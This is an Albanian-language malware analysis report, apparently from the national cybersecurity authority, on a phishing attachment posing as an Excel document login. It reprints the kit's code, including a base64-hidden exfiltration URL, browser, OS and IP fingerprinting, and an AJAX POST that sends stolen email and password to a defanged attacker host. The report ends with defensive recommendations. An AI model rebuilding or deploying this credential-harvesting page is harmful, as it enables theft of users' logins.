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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti éshté bazuar né informacionet té vendosura né dispozicion né
momentin e pérgatitjes sé tij. Ndérkohé, disa aspekte mund té jené té ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashés mund té
mos jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né ndryshime
té raportit.

Faza e treté:

Siguria e informacionit: Pér té mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund té jené té zbutura ose jo té pérfshira né raport. Ky vendim éshté marré pér té mbajtur
integritetin dhe siguriné e té dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar cfarédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime t¢ mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.



Informacione Teknike

Eshté evidentuar garkullimi i njé fushate phishing drejt infrastrukturave né Shqipéri ku né té éshté
i bashkénjgitur njé skedar keqdashés me emértimin Remittance Advice.shtml.zip. Skedari nga
zip mund té ekstraktohet dhe dokumenti i shfaqur éshté dokumenti Remmittance Advice.shtml i
cili &shté i formatit Server-Side Includes HTML.

Analiza e skedarit Remittance Advice.shtml

Pas aksesimit té skedarit, né browser shfaget njé fagé e cila ka si mundési plotésimi dy fusha nga
ku fusha e paré ka vlerén default redacted @test.net. Gjithashtu evidentohet logoja zyrtare e Excel
dhe njé background-image e cila éshté e vendosur me ané té€ CSS né backgroundin e fages qé té
mashtrojé viktimén gé kemi té b&jmé me njé portal Login gé ka lidhje me dokument pune.

c @ File  C:/Users/flare/Desktop/Remittance%20Advice%20%20%20.shtml

ik LD Elements  Console  Sources  Network  Perf

body {

background:url{https://i.imgur.com/u4E6RiQ.png)
NO-TEepEat Center center Tixed,
font-family: Verdana, sans-serif;
font-size: 0.8em;
}
#content {
| LOGIN WITH YOUR EMAIL PROVIDER TO text-align: center;
ACCESS SHARED DOCUMENT margin: auto;

background-color: white;

position: fixed;

top: 5@%;

left: 50%;

i AN - redacted@test.net transform: translate(-50%, -58%);
box-shadow: @ 1@px 48px © rgba(62,

57, 1@7, 0.97), @ 2px 9px @ rgba(62, 57, 17,

Password 0.06);

border-radius: @.25rem;
[ Secured Login session? NS R

¥

input.some {

width: 100%;
DOWNLOAD display: block;
height: 2rem;

text-align: left;
Copyright © 2025 Privacy Policy border: 1px solid #ccd6e6;

colon: #3£SR7s-

Figura 1 Fagja né browser

Aktualisht nése tentojmé té vendosim kredenciale jo reale si input té fages né pjesen e network té browserit
evidentohet njé kérkesé POST drejt url hxxps[://Jobtechgmx[.Jonline/ml/morgana/new-excel/log[.]Jphp
me parametrat si payload me njé objekt Form Data gé ka fusha si:

email, password, verify, userBrowser, userlP, OSName.



Y Filter O Invert  More filters ¥

All | Fetch/XHR | Doc ' CS5 JS Font| Img | Media ' Manifest WS Wasm | Other

I 200 ms 400 ms 600 ms 800 ms 1000 ms: 1200 ms 1400 ms
»
I | LOGIN WITH YOUR EMAIL PROVIDER TO
ACCESS SHARED DOCUMENT
Name X  Headers Payload Preview Response Initiator  Timing
@ log.php vForm Data view source view URL-encoded
redacted@test_net email: redacted@test.net
- password: test
Password » verify: stepOne
userBrowser: Chrome
Incorrect Password, Try again userlP:
|

R . 0SName: Windows
[ Secured Login session?

DOWNLOAD

Copyright © 2025 Privacy Policy

Figura 2 Post request

Qéllimi i kétij skedari éshté té marri informacione dhe ti dérgojé drejt njé serveri,prandaj pér té
kuptuar logjikén, kété skedar mund ta hapim me njé editues teksti dhe té analizojmé kodin.

[=] Remittance Advice shtml E3 ‘

text-align: center;
margin-bottom: lrem;

i
</style>
</nead>

H <body>
= <div class="top-img">

<img src='data:image/png;base64,iVBORWOKG: NSULEU LQAAABPCAYAAABCMO/0AAALMO 1EQVRAXu2de 5SAUXR3HV717e8£r7sDjoeFhICTGC Tmdk 0BJUL rBFEhi oimTaKiUALSUPGHNz i goek j ARo 6dQwkq¥ IyWIUGLCCYpEJEqRhQgCH
</div>
<div 1d='content'>
<div cl

<sp
</div>
<div id='content-app'>

<div style="display: block">

"header">
tyle="text-align: left" class="dotDomain"></span> <span style="text-align: right"> | Login With Your Email Provider To Access Shared Document</span>

<input class="some" type="email" name="dblEmail" id="dblEmail" placehclder="Email" />
<input type="hidden" name="txtEmail" id="txtEmail" />

<input type="hidden" n
<input type="hidden"
<input cla
<small class="pwdET:
<1-- Hide the error message initially —->

<div class="network-srror" style="display: none;">Incorrect Password, Try again</div:

test" value="stepOns" />
name="txtPass" id="txtPass" placeholder="Password">

<input typ n style="display: inline-block; margin-bottom: 3rem:"> <label style="display: inline-block; margin-bottem: 3rem;">Secured Login session?</label>
</fdivs
<divscbutton class="btn" id="btn-submit" ><i 1d="iSpin" class="fa fa-pulse pr-2"></i> DOWNLOAD</button></divs
Adiv.
Fe/div>
<footer>
<divsCopyright &copy: <span id="intYear"></span> Privacy Policy</div>
</footer>
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>

Figura 3 Kodi i Remittance Advice.shtml

Kodi éshté njé format i zakonshém HTML qé pérmban inputet, kodin e CSS pér dizenjimin e fages
si dhe kodin JavaScript ku éshté implementuar llogjika.

Né kodin e JavaScript evidentohet njé variabél me emrin encodedStringAtoB gé ka njé vleré né
base64
aHROcHMG6LY9vYnRIY2hnbXgub25saW5IL21sL21vemdhbmEvbmV3LWV4Y2VsL2xvZy5wa
HA, kuptohet né rrjeshtin tjetér té kodit ku krijohet njé variabél me emrin icq_processor dhe
dekodohet me ané té funksionit atob (), funksion i cili dekodon vargje karakteresh né base64.



] <script type="text/javascript":>

// bGVOIGLlicVowemSjZXNzb3IgPSAiaHROCHMELySvYnR1Y2hnbXgub25saW51L21sL2lvemdhbmEvbmV3LWV4AY2VsL2xviySwaHhis

var encodedStringhtoB = 'aHROcHMELySwYnR1Y¥YZhnbXgub253aW51L21s1.2 lvemdhbmEvbmV3LWV4 ':'2'-!.312x'-,-'Z'-:-'E-'-.v.-'aZ-ZAZ;|= Uz
let icg processor = atob(encodedStringAtoB):

console.log(icg processor);

Figura 4 Funksioni atob

Nése e dekodojmé evidentojmé se URL si output na jep vlerén e URL gé dérgonte post request
drejt:
hxxps[://Jobtechgmx[.Jonline/ml/morgana/new-excel/log[.]Jphp.

Mé pas kemi njé funksion né jQuery pér té zbuluar dhe identifikuar llojin e shfletuesit (browser-
it) gé pérdor pérdoruesi.

Struktura dhe logjika e kodit:
1. Funksioni kryesor

Funksioni i quajtur browserDetection éshté shtuar né jQuery duke pérdorur $.extend. Ai
pranon njé argument té quajtur addClass, i cili kontrollon nése do té shtohet klasa né
elementin <body>.

2. Variablat kryesore

theBody: Referon elementin <body> té dokumentit HTML.
userAgent: Merr informacionin e shfletuesit nga objekti navigator.userAgent (kjo
tregon detaje pér sistemin operativ dhe shfletuesin).

o msielndex: Gjen pozicionin ku shfaget fjala "MSIE" né userAgent, gé tregon
shfletuesin Internet Explorer (IE).

3. Logjika e zbulimit té shfletuesit

o Internet Explorer (IE < 10): Nése userAgent pérmban "MSIE", versioni i shfletuesit
merret dhe kthehet si 'IE' + versioni (p.sh., IE8, IE9, etj.).
Internet Explorer 11: Kontrollohet pér fjalén "Trident/".
Chrome dhe Opera: Nése userAgent pérmban "Chrome", kontrollohet nése pérmban
edhe "OPR" pér té dalluar Opera nga Chrome.

o Safari: Nése userAgent pérmban "Safari" dhe nuk pérmban "Chrome", identifikohet si
Safari. Nése pérmban "CriOS", &shté Chrome pér iOS.
Firefox: Nése userAgent pérmban "Firefox", identifikohet si Firefox.
Shfletues jo i njohur: Nése nuk pérshtatet me asnjé nga rastet mé lart, shfletuesi
vendoset si "notDetected".



4. Shtimi i klasés (opsionale):

Nése argumenti addClass éshté true, klasa e identifikuar (browserClass) shtohet né
elementin <body>.

5. Rezultati:

Funksioni kthen emrin e shfletuesit té zbuluar si njé string.

Jx
* jQuery Browser detection plugin
kg
{(function{ 5 ) {
s.extend ({
— browserDetection: function ( addClass ) |

var theBody = §('body'),
userhgent = window.navigator.userhgent,
msieIndex = userhgent.index0f ('MSIE '),
currentBrowser,
browser(lass;
= if ( msieIndex !=-1) { // IE <= 10
var ieVersion = userlgent.substring(msieIndex + 5, userAgent.indexOf('.', msielndex)): // IE wversion
currentBrowser = "IE' + ieVersion;
browserClass = 'IE ' + currentBrcwser:
} else if [ userBAgent.indexOf('Trident/"') '=-1) { // IEll
currentBrowser = 'IE11";
browserClass = 'IE IE
} else if (| userBgent.index hrome') = -1 ) {
= if ( userhgent.indexOf('CP f/
currentBrowser = browserClass = 'Og
1} else |
currentBrowser = browserClass = 'Chroms'; // Chrome
— }
} else if (userhgent.indexOf (' i) 1= -1 && userAgent.indexOf('Lh::ne'} = -1) { // Safari
E if ( userhAgent.indexOf('Cr 'y 1=-1) { /f Chrome for i0S
currentBrowser = brcwserulass = "Chro g
1} else |
currentBrowser = browserClass = 'Safari’;
— }
} else if [ userBAgent.indexOf('Firef / Firefox
currentBrowser = browser(Class =
1} else |
currentBrowser = "notDetected';
browserClass = '';
— }
= if ( addClass ) { // add class
theBody.addClass (browserClass) ;
— }

Figura 5 Gjetja e llojit té browserit

Kodi mé pas vazhdon me jquery pér t€ manipuluar URL-té dhe pér té ndérvepruar me disa
elemente té fages.

let href = $(location).attr(*href*): Merr URL-né e ploté té fages aktuale

let dividel = href.split("@""): Ndan URL-né né dy pjesé duke pérdorur simbolin @. Pjesa gé
ndodhet pas @ do té ruhet né dividel[1]

let divide2 = href.split(*#""): Ndan URL-né né dy pjesé duke pérdorur simbolin #. Pjesa gé
ndodhet pas # do té ruhet né divide2[1]

the_domain: Ruhet pjesa e URL-sé qé ndodhet pas @.

$(*.dotDomain").text(dividel[1]): Vendos tekstin e ruajtur né divide1[1] brenda elementit HTML
me klasén dotDomain.

$(#txtEmail*).val(divide2[1]): Vendos tekstin e ruajtur né divide2[1] si vlerén e input-it me id
txtEmail.



$('#dblEmail’).val(‘redacted@test.net’): Vendos tekstin 'redacted@test.net’ si vlerén e input-
it me id dblEmail.

f/ main stuff

let href = $(location).attr('href'):

let diwvidel = href.split("E"):

let divide2 = href.split("£"):

let the domain = diwidel[1]:
5(".dotDomain") .text (dividel[1])
S("#txtEmail") .val (divide2[1]) ;
S("#dblEmail") .val ("redacteditest.net") ;
let icqg url = icg processor:

let userIP = "';

Figura 6 Manipulimi i elementeve té HTML

let userIP =" $.getJISON("https://api.ipify.org?format=json’, function(data){ userIP = data.ip; });
userlP: Inicializohet si njé varg bosh pér té ruajtur adresén IP.

$.9etJSON: Kryen njé kérkesé AJAX pér té marré adresén IP té pérdoruesit nga api.ipify.org.

data.ip: Pérmban adresén IP gé kthehet nga API dhe ruhet né userlP.

Gjithashtu kemi dhe marrjen e informacionit mbi sistemin e operimit qé po pérdor pérdoruesi e cila
realizohet népérmjet kontrollit népérmjet navigator.

var currentBrowser = §.browserDetection(true):
Eﬂ$.gEtJSDN{'htttf: api.ipify.org?format=json', fonctian(data)
userlP = data.ip:

—1):

var OSHName="Unknown 05";
if (navigator.appVersion.index0f ("Win") 1=-1) OSName="Windows";
if (navigator.appVersion.indexOf ("Mac") !=-1) O0SHame="MzclS";

if (navigator.appVersion.indexOf ("X11")!=-1}) 0S5Hame="1
if (navigator.appVersion.index0f("L "} 1=-1}) OSHame=" §
if (navigator.userigent.indexOf ("Android”™) ¥=-1) OSHame="ZX id

if (navigator.userbhgent.index0f [("like Mac™)!=-1) O0SName="i05";

Figura 7 Marrja e IP sé pérdoruesit

Variabli failedLoginAttempts ruan numrin e tentativave té pasuksesshme té autentikimit. Né
fillim éshté inicializuar me 0.

$("#btn-submit").on(‘click’, ...): Kjo pércakton gé kur butoni me ID btn-submit klikohet, do té
ekzekutohet funksioni i dhéné.

$("#btn-submit").on(‘click’, ...): Kjo pércakton gé kur butoni me ID btn-submit klikohet, do té
ekzekutohet funksioni i dhéné.

(".pwdErr*).text(*"): Pas ¢do klikimi, fshihet cdo mesazh gabimi pér fjalékalimin.
event.preventDefault(): Pengon veprimin e parazgjedhur té butonit (né kété rast, mos té dérguarit
té informacioneve).

var password = $(*#txtPass").val(): Merr vlerén e fjalékalimit nga fusha me ID txtPass dhe e
ruan né variablén password.



$(*#txtPass').val(’'"): Pas marrjes sé fjalékalimit, pastron fushén vizualisht pér té siguruar qé
pérdoruesi té mos shohé fjalékalimin.Tani kemi dhe fazén e fundit e cila éshté dérgimi i té dhénave
duke pérdorur Asynchronous JavaScript and XML (AJAX)

ﬂ if (password '= """} |
$("#i5pin') .addClass('fa—-spinner') ;

H §.ajan({
url: icg url,
type: "POST",
ﬂ data: {
email: &('#cxtEmail').val(),
password: password, // Use the saved password variable here
verify: &('#test').vall(),
userBrowser: currentBrowser,
userIP: userlP,
0SName: 0OSName
= b
ﬂ success: fonction{data) {
var 1 = §.parseJ30N(data) ;
F if (i.status =— 200}
$(".pwdErr") .text (" Incorrect Password, Try again'});
(' t').val ("stepTwo™) ;
SV '} .val(i.password):
%('#15pin"') .toggleClass ('fa-spinner') ;

- }

b

error: functian() {
failedLoginAttempts++;

L

ff Check if the number of failed login attempts is 3
3 if (failedLoginfittempts = 3} |
window.location.href = 'https://office.com'; // Redirect after 3 attempts
} else |
5" .network-error') .show()
s{"#1 toggleClass (' fa-spinner’
S("#btn-submit') .removeClass ("disabled’

1} else |
$("#txtPass") .addClass('err"):
£("#1i5pin") .toggleClass (' fa-spinner") ;

Figura 8 Dérgimi i té dhénave duke pérdorur AJAX

success: Ky funksion ekzekutohet nése kérkesa AJAX pérfundon me sukses.
$.parseJSON(data): JSON qé kthehet nga serveri dhe e ruan até né variablén i.

if (i.status == 200):

Nése serveri kthen njé status 200 (té suksesshém), shfaget njé mesazh gabimi pér fjalékalimin dhe
béhen disa ndryshime té tjera né fushat e formularit.

success: Ky funksion ekzekutohet nése kérkesa AJAX pérfundon me sukses.
$.parseJSON(data): JSON qé kthehet nga serveri dhe e ruan até né variablén i.

if (i.status == 200): Nése serveri kthen njé status 200 (té suksesshém), shfaget njé mesazh gabimi
pér fjalékalimin dhe béhen disa ndryshime té tjera né fushat e formularit.
failedLoginAttempts++: Rrit numrin e tentativave té pasuksesshme

if (failedLoginAttempts === 3): Kur numri i tentativave té pasuksesshme arrin 3, pérdoruesi
ridrejtohet né https://office.com (fagja zyrtare e Microsoft 365).

Duke gené se té dhénat dérgohen dhe kthen status 200, variabli failedLoginAttemps pérdoret
thjesht gé viktima té mos dérgoj té dhéna vazhdimisht.
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Figura 9 Mitre ATT&CK
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Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

Bllokimin e menjéhershém té Indikatoréve t¢ Komprometimit, té pérmendura mé sipér né
pajisjet tuaja mbrojtése.

Analizimin e vazhdueshém té logeve gé vijné nga SIEM (Security information and Event
Management).

Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat e shmangies sé infektimit
prej tyre.

Instalimin e pajisjeve té perimetrit té rrjetit qé béjné analizé té thellé té trafikut duke u
mbéshtetur jo vetém né rregullat e listave té aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

Sistemet e evidentuara té segmentohen né VLAN-¢ té€ ndryshme, duke aplikuar “Access
control list pér t& gjithé perimetrin e rrjetit”, webserviset duhet t€ jené t€ ndaré nga Databaza e
tyre, Active Directory duhet té jeté né njé VLAN té ndaré.

Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menagjimin e
fjalékalimeve t&€ Administratoréve Lokal.

Té aplikohen filtra té trafikut né rastin e aksesimit né distancé té hosteve (punonjésve/palé té
treta/klientg).

Té implementohen zgjidhje gé kryen filtrimin, monitorimin dhe bllokimin e trafikut keqdashés
ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

T€ kryhen analiza t€ trafikut né nivel sjellje “behaviour” pér pajisjet fundore, aplikimi i
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.

Té projektohet zgjidhja pér menaxhimin e aksesit t€ pérdoruesve “Identity Access
Management” pér té€ kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale sipas
parimit “zero-trust”.



